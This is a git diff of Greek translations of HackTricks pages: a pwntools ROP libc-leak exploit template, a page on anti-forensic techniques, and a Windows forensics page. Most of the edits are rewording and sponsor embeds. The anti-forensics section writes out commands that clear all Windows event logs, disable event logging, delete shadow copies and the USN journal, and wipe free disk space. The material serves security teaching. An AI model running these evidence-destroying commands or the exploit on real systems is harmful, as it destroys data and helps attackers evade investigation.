diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md index ba370e5da..0560f68c1 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -2,7 +2,7 @@
-Μάθετε χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)! +Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! Άλλοι τρόποι υποστήριξης του HackTricks: @@ -10,10 +10,14 @@ * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
+
+ +{% embed url="https://websec.nl/" %} + {% code title="template.py" %} ```python from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools @@ -198,11 +202,13 @@ P.sendline(rop2) P.interactive() #Interact with your shell :) ``` +{% endcode %} + ## Συνηθισμένα προβλήματα ### MAIN_PLT = elf.symbols\['main'] δεν βρέθηκε -Αν το σύμβολο "main" δεν υπάρχει (πιθανότατα λόγω του ότι πρόκειται για ένα απογυμνωμένο δυαδικό αρχείο), τότε μπορείτε απλά να βρείτε πού βρίσκεται ο κώδικας της main: +Αν το σύμβολο "main" δεν υπάρχει (πιθανότατα λόγω του ότι πρόκειται για ένα απογυμνωμένο δυαδικό αρχείο). Τότε μπορείτε απλά να βρείτε πού βρίσκεται ο κώδικας του main: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: @@ -218,22 +224,27 @@ MAIN_PLT = 0x401080 ### `sh: 1: %s%s%s%s%s%s%s%s: not found` -Αν εντοπίσετε αυτό το **σφάλμα** μετά τη δημιουργία **όλων** των εκμεταλλεύσεων: `sh: 1: %s%s%s%s%s%s%s%s: not found` +Αν εντοπίσετε αυτό το **σφάλμα** μετά τη δημιουργία **όλου** του exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` Προσπαθήστε να **αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh"**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` +
+ +{% embed url="https://websec.nl/" %} + +
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! Άλλοι τρόποι υποστήριξης του HackTricks: -* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
diff --git a/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 08268bd81..08ba32f14 100644 --- a/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,113 +1,143 @@
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team AWS του HackTricks)! -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: +Άλλοι τρόποι υποστήριξης του HackTricks: -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github. +* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
+
-# Χρονικές σημάνσεις +{% embed url="https://websec.nl/" %} -Ένας επιτιθέμενος μπορεί να ενδιαφέρεται να **αλλάξει τις χρονικές σημάνσεις των αρχείων** για να αποφύγει την ανίχνευσή του.\ -Είναι δυνατόν να βρεθούν οι χρονικές σημάνσεις μέσα στο MFT στα χαρακτηριστικά `$STANDARD_INFORMATION` __και__ __`$FILE_NAME`. -Και τα δύο χαρακτηριστικά έχουν 4 χρονικές σημάνσεις: **Τροποποίηση**, **πρόσβαση**, **δημιουργία** και **τροποποίηση καταγραφής MFT** (MACE ή MACB). +# Χρονικά σημεία -Ο **Windows explorer** και άλλα εργαλεία εμφανίζουν τις πληροφορίες από το **`$STANDARD_INFORMATION`**. +Ένας εισβολέας μπορεί να ενδιαφέρεται να **αλλάξει τα χρονικά σημεία των αρχείων** για να αποφύγει την ανίχνευση.\ +Είναι δυνατόν να βρείτε τα χρονικά σημεία μέσα στο MFT στα χαρακτηριστικά `$STANDARD_INFORMATION` __ και __ `$FILE_NAME`. -## TimeStomp - Εργαλείο αντι-ανακριτικής +Και τα δύο χαρακτηριστικά έχουν 4 χρονικά σημεία: **Τροποποίηση**, **πρόσβαση**, **δημιουργία** και **τροποποίηση καταχώρησης MFT** (MACE ή MACB). -Αυτό το εργαλείο **τροποποιεί** τις πληροφορίες των χρονικών σημάνσεων μέσα στο **`$STANDARD_INFORMATION`** **αλλά όχι** τις πληροφορίες μέσα στο **`$FILE_NAME`**. Επομένως, είναι δυνατόν να **ανιχνευθεί** **ύποπτη** **δραστηριότητα**. +Το **Windows explorer** και άλλα εργαλεία εμφανίζουν τις πληροφορίες από το **`$STANDARD_INFORMATION`**. + +## TimeStomp - Εργαλείο Αντι-Φορενσικής + +Αυτό το εργαλείο **τροποποιεί** τις πληροφορίες χρονικών σημείων μέσα στο **`$STANDARD_INFORMATION`** **αλλά** **όχι** τις πληροφορίες μέσα στο **`$FILE_NAME`**. Επομένως, είναι δυνατόν να **αναγνωριστεί** **ύποπτη** **δραστηριότητα**. ## Usnjrnl -Το **USN Journal** (Update Sequence Number Journal) είναι μια λειτουργία του NTFS (σύστημα αρχείων Windows NT) που καταγράφει τις αλλαγές του όγκου. Το εργαλείο [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) επιτρέπει την εξέταση αυτών των αλλαγών. +Το **USN Journal** (Καταγραφή Αριθμού Ακολουθίας Ενημερώσεων) είναι μια λειτουργία του NTFS (σύστημα αρχείων Windows NT) που καταγράφει τις αλλαγές του όγκου. Το εργαλείο [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) επιτρέπει την εξέταση αυτών των αλλαγών. ![](<../../.gitbook/assets/image (449).png>) -Η προηγούμενη εικόνα είναι το **αποτέλεσμα** που εμφανίζεται από το **εργαλείο** όπου μπορεί να παρατηρηθεί ότι έγιναν κάποιες **αλλαγές** στο αρχείο. +Η προηγούμενη εικόνα είναι το **αποτέλεσμα** που εμφανίζεται από το **εργαλείο** όπου μπορεί να παρατηρηθεί ότι κάποιες **αλλαγές πραγματοποιήθηκαν** στο αρχείο. ## $LogFile -**Όλες οι αλλαγές μεταδεδομένων σε ένα σύστημα αρχείων καταγράφονται** σε ένα διαδικασία που ονομάζεται [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Τα καταγεγραμμένα μεταδεδομένα κρατούνται σε ένα αρχείο με το όνομα `**$LogFile**`, που βρίσκεται στον ριζικό κατάλογο ενός συστήματος αρχείων NTFS. Εργαλεία όπως το [LogFileParser](https://github.com/jschicht/LogFileParser) μπορούν να χρησιμοποιηθούν για να αναλύσουν αυτό το αρχείο και να ανιχνεύσουν αλλαγές. +**Όλες οι μεταδεδομένες αλλαγές σε ένα σύστημα αρχείων καταγράφονται** σε ένα διαδικασία που είναι γνωστή ως [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Οι καταγεγραμμένες μεταδεδομένες διατηρούνται σε ένα αρχείο με το όνομα `**$LogFile**`, που βρίσκεται στον ριζικό κατάλογο ενός συστήματος αρχείων NTFS. Εργαλεία όπως το [LogFileParser](https://github.com/jschicht/LogFileParser) μπορούν να χρησιμοποιηθούν για την ανάλυση αυτού του αρχείου και την αναγνώριση αλλαγών. ![](<../../.gitbook/assets/image (450).png>) -Και πάλι, στην έξοδο του εργαλείου είναι δυνατόν να δείτε ότι **έγιναν κάποιες αλλαγές**. +Ξανά, στην έξοδο του εργαλείου είναι δυνατόν να δείτε ότι **κάποιες αλλαγές πραγματοποιήθηκαν**. -Χρησιμοποιώντας το ίδιο εργαλείο είναι δυνατόν να ανιχνευθεί σε **ποια χρονική στιγμή τροποποιήθηκαν οι χρονικές σημάνσεις**: +Χρησιμοποιώντας το ίδιο εργαλείο είναι δυνατόν να αναγνωριστεί σε **ποια χρονική στιγμή τα χρονικά σημεία τροποποιήθηκαν**: ![](<../../.gitbook/assets/image (451).png>) -* CTIME: Χρόνος δημιουργίας του αρχείου -* ATIME: Χρόνος τροποποίησης του αρχείου -* MTIME: Χρόνος τροποποίησης του μητρώου MFT του αρχείου +* CTIME: Χρόνος δημιουργίας αρχείου +* ATIME: Χρόνος τροποποίησης αρχείου +* MTIME: Τροποποίηση καταχώρησης MFT αρχείου * RTIME: Χρόνος πρόσβασης στο αρχείο ## Σύγκριση `$STANDARD_INFORMATION` και `$FILE_NAME` -Ένας άλλος τ +Ένας άλλος τρόπος για να αναγνωρίσετε ύποπτα τροποποιημένα αρχεία θα ήταν να συγκρίνετε το χρόνο σε και τα δύο χαρακτηριστικά ψάχνοντας για **αντικρουόμενα**. + +## Νανοδευτερόλεπτα + +Τα χρονικά σημεία του **NTFS** έχουν μια **ακρίβεια** των **100 νανοδευτερολέπτων**. Έτσι, το να βρείτε αρχεία με χρονικά σημεία όπως 2010-10-10 10:10:**00.000:0000 είναι πολύ ύποπτο**. + +## SetMace - Εργαλείο Αντι-Φορενσικής + +Αυτό το εργαλείο μπορεί να τροποποιήσει και τα δύο χαρακτηριστικά `$STARNDAR_INFORMATION` και `$FILE_NAME`. Ωστόσο, από τα Windows Vista, είναι απαραίτητο ένα live OS για να τροποποιήσει αυτές τις πληροφορίες. + +# Απόκρυψη Δεδομένων + +Το NFTS χρησιμοποιεί ένα cluster και το ελάχιστο μέγεθος πληροφοριών. Αυτό σημαίνει ότι αν ένα αρχείο καταλαμβάνει ένα cluster και μισό, το **υπόλοιπο μισό δεν θα χρησιμοποιηθεί ποτέ** μέχρι το αρχείο να διαγραφεί. Έτσι, είναι δυνατόν να **κρύψετε δεδομένα σε αυτόν τον χώρο ανάπαυσης**. + +Υπάρχουν εργαλεία όπως το slacker που επιτρέπουν την κρυφή των δεδομένων σε αυτόν τον "κρυφό" χώρο. Ωστόσο, μια ανάλυση του `$logfile` και `$usnjrnl` μπορεί να δείξει ότι προστέθηκαν κάποια δεδομένα: + +![](<../../.gitbook/assets/image (452).png>) + +Έτσι, είναι δυνατόν να ανακτήσετε τον χώρο ανάπαυσης χρησιμοποιώντας εργαλεία όπως το FTK Imager. Σημειώστε ότι αυτού του είδους το εργαλείο μπορεί να αποθηκεύσει το περιεχόμενο με κρυπτογράφηση ή ακόμη και κρυπτογράφηση. + +# UsbKill + +Αυτό είναι ένα εργαλείο που θα **κλείσει τον υπολογιστή αν ανιχνευθεί κάποια αλλαγή στις θύρες USB**.\ +Ένας τρόπος να ανακαλύψετε αυτό θα ήταν να επιθεωρήσετε τις εκτελούμενες διεργασίες και **να ελέγξετε κάθε σενάριο python που εκτελείται**. + +# Διανομές Live Linux + +Αυτές οι διανομές **εκτελούνται μέσα στη μνήμη RAM**. Ο μόνος τρόπος να τις ανιχνεύσετε είναι **σε περίπτωση που το σύστημα αρχείων NTFS είναι προσαρτημένο με δικαιώματα εγγραφής**. Αν προσαρτηθεί μόνο με δικαιώματα ανάγνωσης δεν θα είναι δυνατή η ανίχνευση της εισβολής. + +# Ασφαλής Διαγραφή + +[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) + +# Ρύθμιση Windows + +Είναι δυνατόν να απενεργοποιήσετε αρκετές μεθόδους καταγραφής των Windows για να κάνετε την έρευνα φορενσικής πολύ πιο δύσκολη. + +## Απενεργοποίηση Χρονικών Ση ## Διαγραφή Ιστορικού USB -Όλες οι **καταχωρήσεις συσκευών USB** αποθηκεύονται στο Μητρώο των Windows κάτω από το κλειδί μητρώου **USBSTOR**, το οποίο περιέχει υποκλειδιά που δημιουργούνται κάθε φορά που συνδέετε μια συσκευή USB στον υπολογιστή ή το laptop σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας αυτό**, θα διαγράψετε το ιστορικό USB.\ -Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) για να είστε βέβαιοι ότι τα έχετε διαγράψει (και για να τα διαγράψετε). +Όλες οι **Καταχωρήσεις Συσκευών USB** αποθηκεύονται στο Μητρώο των Windows υπό το κλειδί **USBSTOR** που περιέχει υπο-κλειδιά που δημιουργούνται κάθε φορά που συνδέετε μια Συσκευή USB στον Υπολογιστή ή το Laptop σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας** αυτό θα διαγράψετε το ιστορικό USB.\ +Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) για να είστε σίγουροι ότι τα έχετε διαγράψει (και για να τα διαγράψετε). -Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τις USB είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό πρέπει επίσης να διαγραφεί. +Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τα USBs είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό πρέπει επίσης να διαγραφεί. ## Απενεργοποίηση Αντιγράφων Σκιάς -**Λίστα** αντιγράφων σκιάς με την εντολή `vssadmin list shadowstorage`\ -**Διαγραφή** τους με την εντολή `vssadmin delete shadow` +**Εμφάνιση** των αντιγράφων σκιάς με `vssadmin list shadowstorage`\ +**Διαγραφή** τους εκτελώντας `vssadmin delete shadow` -Μπορείτε επίσης να τα διαγράψετε μέσω του γραφικού περιβάλλοντος ακολουθώντας τα βήματα που προτείνονται στην [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +Μπορείτε επίσης να τα διαγράψετε μέσω γραφικού περιβάλλοντος ακολουθώντας τα βήματα που προτείνονται στο [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) Για να απενεργοποιήσετε τα αντίγραφα σκιάς [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Ανοίξτε το πρόγραμμα Υπηρεσιών πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά από κλικ στο κουμπί Έναρξη των Windows. -2. Από τη λίστα, βρείτε την "Volume Shadow Copy", επιλέξτε την και στη συνέχεια αποκτήστε πρόσβαση στις Ιδιότητες κάνοντας δεξί κλικ. -3. Επιλέξτε την επιλογή "Disabled" από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και ΟΚ. +1. Ανοίξτε το πρόγραμμα Υπηρεσιών πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά το κλικ στο κουμπί εκκίνησης των Windows. +2. Από τη λίστα, βρείτε το "Volume Shadow Copy", επιλέξτε το και στη συνέχεια αποκτήστε πρόσβαση στις ιδιότητες κάνοντας δεξί κλικ. +3. Επιλέξτε το Disabled από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και στη συνέχεια επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και ΟΚ. -Είναι επίσης δυνατή η τροποποίηση της διαμόρφωσης των αρχείων που θα αντιγραφούν στο αντίγραφο σκιάς στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +Είναι επίσης δυνατό να τροποποιήσετε τη διαμόρφωση των αρχείων που θα αντιγραφούν στο αντίγραφο σκιάς στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` ## Αντικατάσταση διαγραμμένων αρχείων -* Μπορείτε να χρησιμοποιήσετε ένα **εργαλείο των Windows**: `cipher /w:C` Αυτό θα οδηγήσει το cipher να αφαιρέσει οποιαδήποτε δεδομένα από το διαθέσιμο αχρησιμοποίητο χώρο στον δίσκο C. +* Μπορείτε να χρησιμοποιήσετε ένα **εργαλείο Windows**: `cipher /w:C` Αυτό θα υποδείξει στο cipher να αφαιρέσει οποιαδήποτε δεδομένα από το διαθέσιμο αχρησιμοποίητο χώρο δίσκου μέσα στο C drive. * Μπορείτε επίσης να χρησιμοποιήσετε εργαλεία όπως το [**Eraser**](https://eraser.heidi.ie) ## Διαγραφή αρχείων καταγραφής συμβάντων των Windows -* Windows + R --> eventvwr.msc --> Ανάπτυξη "Καταγραφές των Windows" --> Δεξί κλικ σε κάθε κατηγορία και επιλογή "Εκκαθάριση καταγραφής" +* Windows + R --> eventvwr.msc --> Ανάπτυξη "Καταγραφές Windows" --> Δεξί κλικ σε κάθε κατηγορία και επιλογή "Καθαρισμός καταγραφής" * `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` * `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` ## Απενεργοποίηση καταγραφής συμβάντων των Windows * `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -* Εντός της ενότητας υπηρεσιών, απενεργοποιήστε την υπηρεσία "Windows Event Log" +* Μέσα στην ενότητα υπηρεσιών απενεργοποιήστε την υπηρεσία "Windows Event Log" * `WEvtUtil.exec clear-log` ή `WEvtUtil.exe cl` ## Απενεργοποίηση $UsnJrnl * `fsutil usn deletejournal /d c:` +
-
- -Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! - -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Συμμετάσχετε** 💬 στην ομάδα [**Discord**](https://discord.gg/hRep4RUj7f) ή στην ομάδα [**telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github. - -
+{% embed url="https://websec.nl/" %} diff --git a/forensics/basic-forensic-methodology/windows-forensics/README.md b/forensics/basic-forensic-methodology/windows-forensics/README.md index 296f69cf9..3717d2d42 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -4,49 +4,53 @@
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: +Άλλοι τρόποι υποστήριξης του HackTricks: -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
+
+ +{% embed url="https://websec.nl/" %} + ## Γενικά Αρχεία Windows ### Ειδοποιήσεις Windows 10 -Στη διαδρομή `\Users\<όνομα_χρήστη>\AppData\Local\Microsoft\Windows\Notifications` μπορείτε να βρείτε τη βάση δεδομένων `appdb.dat` (πριν την επέτειο των Windows) ή `wpndatabase.db` (μετά την επέτειο των Windows). +Στη διαδρομή `\Users\<όνομα_χρήστη>\AppData\Local\Microsoft\Windows\Notifications` μπορείτε να βρείτε τη βάση δεδομένων `appdb.dat` (πριν το Windows Anniversary) ή `wpndatabase.db` (μετά το Windows Anniversary). Μέσα σε αυτήν τη βάση δεδομένων SQLite, μπορείτε να βρείτε τον πίνακα `Notification` με όλες τις ειδοποιήσεις (σε μορφή XML) που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες. ### Χρονολόγιο -Το Χρονολόγιο είναι μια χαρακτηριστική των Windows που παρέχει **χρονολογική ιστορία** των επισκεφθέντων ιστοσελίδων, των επεξεργασμένων εγγράφων και των εκτελεσμένων εφαρμογών. +Το Χρονολόγιο είναι μια χαρακτηριστική των Windows που παρέχει **χρονολογική ιστορία** των επισκεφθέντων ιστοσελίδων, επεξεργασμένων εγγράφων και εκτελεσμένων εφαρμογών. -Η βάση δεδομένων βρίσκεται στη διαδρομή `\Users\<όνομα_χρήστη>\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Αυτή η βάση δεδομένων μπορεί να ανοιχτεί με ένα εργαλείο SQLite ή με το εργαλείο [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **που δημιουργεί 2 αρχεία που μπορούν να ανοίξουν με το εργαλείο** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +Η βάση δεδομένων βρίσκεται στη διαδρομή `\Users\<όνομα_χρήστη>\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Αυτή η βάση δεδομένων μπορεί να ανοιχτεί με ένα εργαλείο SQLite ή με το εργαλείο [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **το οποίο δημιουργεί 2 αρχεία που μπορούν να ανοίξουν με το εργαλείο** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). ### ADS (Εναλλακτικά Ρεύματα Δεδομένων) -Τα κατεβασμένα αρχεία μπορεί να περιέχουν την **Ζώνη Αναγνώρισης ADS** που υποδεικνύει **πώς** έγινε το **κατέβασμα** από το εταιρικό δίκτυο, το διαδίκτυο κ.λπ. Ορισμένο λογισμικό (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες** **πληροφορίες** όπως η **URL** από όπου κατέβηκε το αρχείο. +Τα αρχεία που λήφθηκαν μπορεί να περιέχουν το **ADS Zone.Identifier** που υποδεικνύει **πώς** λήφθηκε από το εσωτερικό δίκτυο, το internet κλπ. Κάποιο λογισμικό (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες πληροφορίες** όπως η **URL** από όπου λήφθηκε το αρχείο. ## **Αντίγραφα Ασφαλείας Αρχείων** ### Κάδος Ανακύκλωσης Στα Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** βρίσκεται στον φάκελο **`$Recycle.bin`** στη ρίζα του δίσκου (`C:\$Recycle.bin`).\ -Όταν ένα αρχείο διαγράφεται σε αυτόν τον φάκελο, δημιουργούνται 2 συγκεκριμένα αρχεία: +Όταν ένα αρχείο 